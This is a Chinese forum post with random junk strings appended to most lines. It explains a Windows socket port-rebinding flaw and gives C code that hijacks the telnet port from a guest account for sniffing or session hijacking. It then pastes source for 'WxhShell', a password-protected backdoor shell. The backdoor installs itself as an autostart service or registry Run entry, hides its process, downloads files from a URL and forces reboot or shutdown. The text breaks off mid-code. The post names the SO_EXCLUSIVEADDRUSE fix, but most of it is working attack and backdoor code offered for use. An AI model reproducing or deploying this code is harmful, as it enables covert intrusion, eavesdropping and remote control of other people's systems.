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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E~VV19Bv]/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .jiJgUa7  
Zrj#4 E1  
  saddr.sin_family = AF_INET; *!E~4z=  
%m [l/,2x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d[  _@l  
0g HV(L?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lr?SL\D  
w#ZzmO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sLFZ 61rT  
!b&+2y2i[W  
  这意味着什么?意味着可以进行如下的攻击: ,*YmXR-"  
5z2("[8L&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u,{R,hTDS  
4S4gK   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G/#m. =t  
Vbe@S?u-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k~3\0man  
 <4< y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PKC0Dt;F.  
VMe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5g O9 <  
0*+EYnu+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,k*%=TF7N  
FBvh7D.hV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  \S1W,H|  
sKJr34  
  #include 0-;>O|U3  
  #include =vvd)og  
  #include SlHDBr!.z  
  #include    (h= ]Ox  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /W .G- |:  
  int main() 5#s],h  
  { ^q#[oO  
  WORD wVersionRequested; 2,^ > lY  
  DWORD ret; /y|ZAN  
  WSADATA wsaData; 7U?#Xi5  
  BOOL val; A{M7   
  SOCKADDR_IN saddr; iOSt=-p  
  SOCKADDR_IN scaddr; :U=3*f.{  
  int err; )WW*X6[k  
  SOCKET s; R eb.x_  
  SOCKET sc; Q1ayd$W@<  
  int caddsize; fM|s,'Q1x  
  HANDLE mt; }q'IY:r  
  DWORD tid;   U OGjil{.  
  wVersionRequested = MAKEWORD( 2, 2 ); t\'MB  
  err = WSAStartup( wVersionRequested, &wsaData ); [@JK|50|K  
  if ( err != 0 ) { pKGhNIj$  
  printf("error!WSAStartup failed!\n"); O[{/P:a  
  return -1; x*RSD,3  
  } nC!]@lA  
  saddr.sin_family = AF_INET; i$`o,m#  
   12?!Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #:P$a%V  
ngmC~l*,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d:>'c=y  
  saddr.sin_port = htons(23); B~| ]gd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R9Wr?  
  { #5kclu%L$  
  printf("error!socket failed!\n"); Gqc6]{  
  return -1; GB<.kOGQ[  
  } { Ie~MW  
  val = TRUE; Di27=_J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x DN u'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hdcB*j?4  
  { $Dx*[.M3>  
  printf("error!setsockopt failed!\n"); zi_$roq=)  
  return -1; ARt{ 2|  
  } 8 hhMuh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z5 @i"%f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _+nk3-yQw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v\MQ?VC  
:uB?h1|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ao=e{R)  
  { mqHH1}  
  ret=GetLastError(); WVhQ?2@}  
  printf("error!bind failed!\n"); /5z,G r  
  return -1; " DLIx}  
  } 5c(g7N  
  listen(s,2); m. p'LF  
  while(1) Lwx J:Kz.  
  { &|}QdbW  
  caddsize = sizeof(scaddr); ^#mWV  
  //接受连接请求 i$$h6P#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }9W[7V?  
  if(sc!=INVALID_SOCKET) Vdefgq@<  
  { qg1\ABH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l&qyLL2 w  
  if(mt==NULL) MRK=\qjD  
  { upk+L^  
  printf("Thread Creat Failed!\n"); 6-tIe _5  
  break; zPybP E8  
  } HeO&p@  
  } RticGQy&5  
  CloseHandle(mt); M!mw6';k  
  } K(lSR  
  closesocket(s); 4lpcJ+:o  
  WSACleanup(); AXte&l=M  
  return 0; t 4zUj%F  
  }   lMh>eX  
  DWORD WINAPI ClientThread(LPVOID lpParam) LyNmn.nN  
  { reArXmU<u  
  SOCKET ss = (SOCKET)lpParam; !iNwJ|0  
  SOCKET sc; ~av#r=x  
  unsigned char buf[4096]; jO5R~O`  
  SOCKADDR_IN saddr; !OQ5AF$  
  long num; 4)k-gKS*  
  DWORD val; q5hE S  
  DWORD ret; mSYm18   
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?Js4 \X!uJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gq 3|vzNZ  
  saddr.sin_family = AF_INET; vu.?@k@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V*fv>f:Yv  
  saddr.sin_port = htons(23); .w@B )f*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L(cKyg[R  
  { RSbq<f>BFo  
  printf("error!socket failed!\n"); oF]]Pl{W  
  return -1; I= <eCv  
  } koS?UYF`  
  val = 100; QdcuV\B}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &4}=@'G@  
  { 8! !h6dQgI  
  ret = GetLastError(); 42tZBz&  
  return -1; ?PTXgIC  
  } ILl~f\xG)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! l0"nPM=  
  { nK+ke)'Zv=  
  ret = GetLastError(); vzbGLap#  
  return -1; M  |h B[  
  } U{Oo@ztT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YEaT_zWG0  
  { 7NWkN7:B  
  printf("error!socket connect failed!\n"); _F`JFMS  
  closesocket(sc); _->+Hjj ^  
  closesocket(ss); c/^jD5U7  
  return -1; P(2OTfGGx  
  } ezY^T  
  while(1) :aaX Y:<  
  { |4 \2,M#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4r ~K`)/S'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |ka/5o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1W\wIj.  
  num = recv(ss,buf,4096,0); `{h)-Y``  
  if(num>0) dR< d7  
  send(sc,buf,num,0); |39,n~"o&  
  else if(num==0) LL (TD&  
  break; .zt&HI.F  
  num = recv(sc,buf,4096,0); vk X+{n  
  if(num>0) ^xNzppz`]C  
  send(ss,buf,num,0); 3h=kn@I  
  else if(num==0) yhbU;qEG9  
  break; Jq(;BJ90R  
  } PX/{!_mM  
  closesocket(ss); Z'2AsT  
  closesocket(sc); {D..(f1*u  
  return 0 ; |te=DCO  
  } 6("bdx;!  
#|(>UM\  
w:deQ:k  
==========================================================  ^,ISz-4  
D84&=EpVZ  
下边附上一个代码,,WXhSHELL : 7"Q  
;zo|. YD  
========================================================== Sa9VwVUE  
nh@JGy*L  
#include "stdafx.h" 0x5Ax=ut  
j\bp# +  
#include <stdio.h> 46e?%0(  
#include <string.h> G,$nq4  
#include <windows.h> b-#{O=B  
#include <winsock2.h> uF}dEDB|;  
#include <winsvc.h> S ;rd0+J  
#include <urlmon.h> %~M*<pN  
;ZAwf0~  
#pragma comment (lib, "Ws2_32.lib") Il*!iX|23<  
#pragma comment (lib, "urlmon.lib") o_mjI:  
<dD!_S6@,  
#define MAX_USER   100 // 最大客户端连接数 Lp(`m=;O  
#define BUF_SOCK   200 // sock buffer hbvcIGaT  
#define KEY_BUFF   255 // 输入 buffer Nr$78] o9  
R_+:nCB@,  
#define REBOOT     0   // 重启 ;UpJ_y)n8\  
#define SHUTDOWN   1   // 关机 - QY<o|  
7 rRI-wZ  
#define DEF_PORT   5000 // 监听端口 f"j9C% '*  
]*mUc`  
#define REG_LEN     16   // 注册表键长度 p o)lN[v  
#define SVC_LEN     80   // NT服务名长度 EKF4 ]  
K/N{F\  
// 从dll定义API T"za|Fo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U_PH#e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vWESu4W`L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \a|~#N3?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lGR0-Gh2  
bsU$$;  
// wxhshell配置信息 $<2d|;7r  
struct WSCFG { SZ[?2z  
  int ws_port;         // 监听端口 UxHI6,b  
  char ws_passstr[REG_LEN]; // 口令 [Z:P{yr  
  int ws_autoins;       // 安装标记, 1=yes 0=no inO;Uwlv  
  char ws_regname[REG_LEN]; // 注册表键名 u1y>7,Z6W  
  char ws_svcname[REG_LEN]; // 服务名 8/tB?j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *aM7d>nG5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zv9JkY=+@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0%L:jq{5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @M<qz\ [  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q[NoFZ V!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ym\<@[3+!  
!\1)?&y9j  
}; jR[c3EA ;  
&a=rJvnIO&  
// default Wxhshell configuration 8+gp"!E  
struct WSCFG wscfg={DEF_PORT, j?|Vx'  
    "xuhuanlingzhe", w8Z#]kRv  
    1, `3VI9GmQ  
    "Wxhshell", >}~[ew  
    "Wxhshell", 1irSI,j%z  
            "WxhShell Service", >5kz#|@P  
    "Wrsky Windows CmdShell Service", F5cN F 5  
    "Please Input Your Password: ", H^S<bZ  
  1, :P2!& W  
  "http://www.wrsky.com/wxhshell.exe", weu+$Kr  
  "Wxhshell.exe" +8?18@obp  
    }; ,qp8Rg|3j  
3]JJCaf  
// 消息定义模块 ."BXA8c;A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; juF=ZW%i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5&EBU l}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3$YbEl@#  
char *msg_ws_ext="\n\rExit."; 0<@['W}G  
char *msg_ws_end="\n\rQuit."; O-UA2?N@j  
char *msg_ws_boot="\n\rReboot..."; y_n4Y[4g  
char *msg_ws_poff="\n\rShutdown..."; svEe@Kt`  
char *msg_ws_down="\n\rSave to "; ?32~%?m  
Myg;2.  
char *msg_ws_err="\n\rErr!"; g7hI9(8+  
char *msg_ws_ok="\n\rOK!"; d{NMG)`x\  
J>T98y/))  
char ExeFile[MAX_PATH]; &XcPHZy'  
int nUser = 0; z)^.ai,:0  
HANDLE handles[MAX_USER]; j~ds)dW%`&  
int OsIsNt; GEVDXx>@  
l\AdL$$Mb  
SERVICE_STATUS       serviceStatus; r`Fs"n#^-4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EHf,VIC8  
V~/@KU8cH  
// 函数声明 '9.@r\g  
int Install(void); #Ox@[Z1I  
int Uninstall(void); Pb T2- F_  
int DownloadFile(char *sURL, SOCKET wsh); @o?Y[BR  
int Boot(int flag); 7.G"U  
void HideProc(void); SODHn9)  
int GetOsVer(void); .,qh,m\Fo  
int Wxhshell(SOCKET wsl); fOSk > gK  
void TalkWithClient(void *cs); ]C"?xy  
int CmdShell(SOCKET sock); 9"S iHp\)  
int StartFromService(void); e&i`/m5  
int StartWxhshell(LPSTR lpCmdLine); !})Y9oZc8  
-:=m-3*Tg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |+HJ>xA4I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7z3tDE[#  
fCY??su*   
// 数据结构和表定义 ' #=n>  
SERVICE_TABLE_ENTRY DispatchTable[] = EMr|#}]#s  
{ 1@'I eywg  
{wscfg.ws_svcname, NTServiceMain}, {#?|&n<  
{NULL, NULL} + (:Qf+:  
}; (:E@kpK  
S`b!sT-sD  
// 自我安装 ;/4x.t#b  
int Install(void) F`e E*&  
{ *^ G,  
  char svExeFile[MAX_PATH]; Dl0{pGK~  
  HKEY key; Z~94<*LEp  
  strcpy(svExeFile,ExeFile); ,jz~Np_2  
~V?z!3r-)  
// 如果是win9x系统,修改注册表设为自启动 ]CcRI|g}  
if(!OsIsNt) { _\k?uUo&,^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;! ?l8R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 85dC6wI4K  
  RegCloseKey(key); Q -$) H;,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f &NX~(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X)RgXl{  
  RegCloseKey(key); 5K?/-0yG  
  return 0; q!U$\Q&  
    } K>~YO~~  
  } \5<Z[#{  
} ->;2CcpHB  
else { (AjgLNB  
f0^s<:*  
// 如果是NT以上系统,安装为系统服务 fsEQ4xN'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E6xdPjoWy  
if (schSCManager!=0) hfbu+w):  
{ {0,6- dd5  
  SC_HANDLE schService = CreateService *wJz0ex7R/  
  ( _(:$ :*@  
  schSCManager, vc3r [mT  
  wscfg.ws_svcname, "R)n1,0  
  wscfg.ws_svcdisp, =#Jx~d[C  
  SERVICE_ALL_ACCESS, ]57Ef'N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~$^ >Vo  
  SERVICE_AUTO_START, KCZ<#ca^  
  SERVICE_ERROR_NORMAL, zXlerQWUv  
  svExeFile, jbZTlG  
  NULL, I~~":~&  
  NULL, ) 5Ij  
  NULL, $E;Tj|W  
  NULL, (4q/LuP^d  
  NULL j$6Q]5KdoS  
  ); ,2FI?}+R  
  if (schService!=0) iE;F=Rb  
  { oVp/EQ  
  CloseServiceHandle(schService); rzie_)a Y%  
  CloseServiceHandle(schSCManager); 2)$-L'YS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jFKp~`/#  
  strcat(svExeFile,wscfg.ws_svcname); R64f0N K.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6)i>qz).  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m-~3c]pA  
  RegCloseKey(key); cotySio$  
  return 0; ppLLX1S  
    } M?P\YAn$  
  } Br<lP#u=G  
  CloseServiceHandle(schSCManager); :}#)ipr  
} 4DL2 A;T  
} /|&4&$  
>tMI%r  
return 1; <9xr? i=  
} {!? M!/d  
dSTyx#o  
// 自我卸载 ~9k E.  
int Uninstall(void) ^  ~1QA  
{ s%vy^x29  
  HKEY key; qW4\t  
>Sw?F&  
if(!OsIsNt) { }C[ "'tLX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EAWBgOO8iC  
  RegDeleteValue(key,wscfg.ws_regname); %}~(%@qB>+  
  RegCloseKey(key); |9FrVO$M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UNv!G/i-5  
  RegDeleteValue(key,wscfg.ws_regname); /7+b.h])^  
  RegCloseKey(key); =\5f_g2M  
  return 0; G[u6X_Q  
  } tZg)VJQys  
} vy={ziJ  
} "u$XEA  
else { /D|q-`*K  
s]A8C^;c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [%6)  
if (schSCManager!=0) 5f0g7w =-  
{ #M#$2Vt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x)$0Nr62D  
  if (schService!=0) t3^`:T\  
  { q&6|uV])H  
  if(DeleteService(schService)!=0) { jVoD9H F/  
  CloseServiceHandle(schService); iY,oaC~?"N  
  CloseServiceHandle(schSCManager); qZV|}M>P)  
  return 0; g;[t1~oF  
  } ofz?L#:2  
  CloseServiceHandle(schService); Q*'OY~  
  } ;0 +Dx~  
  CloseServiceHandle(schSCManager); 0/!0W%f[}  
} <ycR/X  
} X6w+L?A  
- 3PLP$P  
return 1; ([rSYKpi  
} <:nyRy}  
HFyQ$pbBU  
// 从指定url下载文件 !OPHS^L  
int DownloadFile(char *sURL, SOCKET wsh) %yfl-c(u  
{ K/}x'*=  
  HRESULT hr; {^;7DV:  
char seps[]= "/"; ?uJX  
char *token; <rui\/4NJ  
char *file; :w|=o9J  
char myURL[MAX_PATH]; Ets6tM`  
char myFILE[MAX_PATH]; g6.I~o Q j  
;:R2 P@6f  
strcpy(myURL,sURL); CZ$B2i6  
  token=strtok(myURL,seps); ~FXq%-J  
  while(token!=NULL) 7\nXJ381  
  { S&[9Vb  
    file=token; glROT@  
  token=strtok(NULL,seps); ij3W8i9'  
  } ^liW*F"UY  
L+@X]O W8  
GetCurrentDirectory(MAX_PATH,myFILE); )~nieQEZQ  
strcat(myFILE, "\\"); {wz_ngQ  
strcat(myFILE, file); EDnZ/)6Gg  
  send(wsh,myFILE,strlen(myFILE),0); fF#Fc&B  
send(wsh,"...",3,0); 'q}f3u>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vE#8&Zq  
  if(hr==S_OK) ?X\.O-=4X  
return 0; i<tJG{A=  
else !SnLvW89Z  
return 1; Y8lZ]IB  
SH8zkAA7u}  
} B#5[PX  
FK-q-PKO#.  
// 系统电源模块 jpW_q+^?  
int Boot(int flag) cuy9QBB :  
{ bBo>Y7%  
  HANDLE hToken; BOy&3.h5?  
  TOKEN_PRIVILEGES tkp; ;qWSfCt/^  
"VoufXM:  
  if(OsIsNt) { ;g2UIb?{6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rb'mFqg*u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eq&QWxiD*  
    tkp.PrivilegeCount = 1; @}{uibLD\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >mEfd=p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zvfy%k   
if(flag==REBOOT) { O%F*i2I:+k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ouFKqRs;  
  return 0; JxLfDr,dy  
} I=P<RG7j)  
else { &u6n5-!v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =i;T?*@  
  return 0; OpIeo+^X*  
} w2('75$J  
  } %Kp^wf#o9  
  else { WT1y7+_g(d  
if(flag==REBOOT) { kFyp;=d:K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s6_i>  
  return 0; B/n~ $  
} L=C#E0{i  
else { 7kT X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hfo<EB2Y9N  
  return 0; '<1Cta`  
} bF+j%=  
} f4+wP/n&  
m^TN6/])  
return 1; g4+Hq *  
} .ns=jp  
:^>&t^E  
// win9x进程隐藏模块 u5KAwMw%Q  
void HideProc(void) Iij$ce`nx  
{ O2="'w'kR  
+|5 O b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .4$F~!aj9  
  if ( hKernel != NULL ) [*0M$4  
  { '#,C5*`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ss\?SEq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &k-NDh3  
    FreeLibrary(hKernel); 7-u'x[=m  
  } F8Mf,jnPs  
#qD[dC$[t  
return; ]\L+]+u~  
} ];b+f@  
8.I3%u  
// 获取操作系统版本 3=} P l,  
int GetOsVer(void) {{gt>"D,  
{ T-/3 A%v  
  OSVERSIONINFO winfo; FCKyKn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =20 +(<  
  GetVersionEx(&winfo); ji.?bKqHE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EN}XIa>R  
  return 1; tXZMr   
  else )/~o'M3  
  return 0; ]f U&?z#  
} H~>8q~o]  
9nFWJn  
// 客户端句柄模块 KH=3HN}  
int Wxhshell(SOCKET wsl) DxpJP,wY3  
{ Y3(I;~$!  
  SOCKET wsh; yaWY>sB  
  struct sockaddr_in client; +*Uv+oC|  
  DWORD myID; KU+\fwYpnk  
9$C?)XKXB  
  while(nUser<MAX_USER) X')l04P@%  
{ 8Djki]  
  int nSize=sizeof(client); DQ[7p(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >lzXyT6x8  
  if(wsh==INVALID_SOCKET) return 1; 83{P7PBQ;]  
-!li,&,A1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >+Iph2]  
if(handles[nUser]==0) nLv~)IQ}:  
  closesocket(wsh); Fpeokr"i  
else de.f?y  
  nUser++; n4}e!  
  } twbxi{8e.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8ZM#.yB B  
GU/-L<g  
  return 0; P4eH:0=#  
} Q7<VuXy  
|>m'szca4  
// 关闭 socket 8c_X`0jy  
void CloseIt(SOCKET wsh) i ?uX'apk  
{ B I3fk  
closesocket(wsh); <hTHY E=  
nUser--; #M+_Lk3  
ExitThread(0); ^3H:I8gRCl  
} |JHNFs  
,Oy$q~.  
// 客户端请求句柄 n~}[/ly  
void TalkWithClient(void *cs) k)X\z@I'  
{ $N;J)  
d%epM5  
  SOCKET wsh=(SOCKET)cs; cs9h\]ZA  
  char pwd[SVC_LEN]; s8P3H|0.-  
  char cmd[KEY_BUFF]; hlze]d?z  
char chr[1]; bqp^\yu-E  
int i,j; $8AW  
$|3zsi2  
  while (nUser < MAX_USER) { 84WcaH  
,9_O4O%  
if(wscfg.ws_passstr) { dGkw%3[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Ho"b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KZVdW@DY  
  //ZeroMemory(pwd,KEY_BUFF); 4>vO9q  
      i=0; j6XHH&ZEb  
  while(i<SVC_LEN) { m.1-[2{8~  
J:&.[  
  // 设置超时 CYwV]lq :s  
  fd_set FdRead; g;6/P2w  
  struct timeval TimeOut; B, H9EX  
  FD_ZERO(&FdRead); D_~;!^  
  FD_SET(wsh,&FdRead); ]vn*eqd  
  TimeOut.tv_sec=8; SE6( 3f$  
  TimeOut.tv_usec=0; 1TR+p? "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | B*B>P#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bmcc SC;o4  
YZSQOLN{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  (FaYagD  
  pwd=chr[0]; =s]2?m  
  if(chr[0]==0xd || chr[0]==0xa) { r `n|fD.  
  pwd=0; {#4a}:3  
  break; H>;,r ,  
  } G kG#+C0L  
  i++; rwP)TJh"  
    } % -AcA  
wQjYH!u,YZ  
  // 如果是非法用户,关闭 socket #\QW <I#/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <g;,or#$  
} _5~|z$GW  
K@g ~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?*+U[*M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \/;c^!(<  
fR'!p: ~  
while(1) { bn8maYUZ  
|)Dm.)/0)  
  ZeroMemory(cmd,KEY_BUFF); [MwL=9;!H  
R LF6Bc  
      // 自动支持客户端 telnet标准   KB :JVK^<  
  j=0; :( m, 06K  
  while(j<KEY_BUFF) { hif;atO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YlGUd~$`"+  
  cmd[j]=chr[0]; yUpN`;  
  if(chr[0]==0xa || chr[0]==0xd) { YI"!&a'yj  
  cmd[j]=0; I *sT*;U  
  break; 8Q<Nl=g>'  
  } R%\3[  
  j++; -Fn/=  
    } ]BbV\#  
`Ds=a`^b  
  // 下载文件 mI4GBp  
  if(strstr(cmd,"http://")) { hZL!%sL7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vo\'ycPv  
  if(DownloadFile(cmd,wsh))  R.HvqO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e@0|fB%2  
  else knG:6tQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O TlqJ  
  } oST)E5X;7  
  else { 7z1@XO<D  
LmqSxHs0Q  
    switch(cmd[0]) { 'h'pM#D  
  0=6mb]VUi=  
  // 帮助 1t &_]q_  
  case '?': { g|?}a]G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5YNAb/! !F  
    break; "N=$ =Dy >  
  } ]wEI *c(  
  // 安装 C=q&S6/+  
  case 'i': { h'=)dFw7  
    if(Install()) f>C+l(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|k@D2k=  
    else 9ck"JMla  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (:`4*xK  
    break; JU^Y27  
    } VV/T)qEe7>  
  // 卸载 /4 pYhJ8S  
  case 'r': { P[q>;Fx*  
    if(Uninstall()) %#v$d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6wwbH}*=?  
    else NcF>}f,}\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $3>Rw/,  
    break; %po;ih$jr*  
    } ^ [HUtq  
  // 显示 wxhshell 所在路径 .u#Hg'oP  
  case 'p': { ; I-6H5  
    char svExeFile[MAX_PATH]; T5ky:{Y(  
    strcpy(svExeFile,"\n\r"); R$ +RTG:E  
      strcat(svExeFile,ExeFile); <@ ts[p.  
        send(wsh,svExeFile,strlen(svExeFile),0); ?zutU w/m  
    break; oYf+I  
    } juWXB+d2Y  
  // 重启 pqpsa'  
  case 'b': { h;+O96V4.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); > TCit1yD  
    if(Boot(REBOOT)) G`0{31us  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rCA!b"C2  
    else { .U|'KCM9m  
    closesocket(wsh); !w%c= V]tV  
    ExitThread(0); 8gE p5  
    } R0*P,~L;|  
    break; t!/~_}eDJ  
    } kjV>\e  
  // 关机 VgYy7\?p  
  case 'd': { fDB. r$|d  
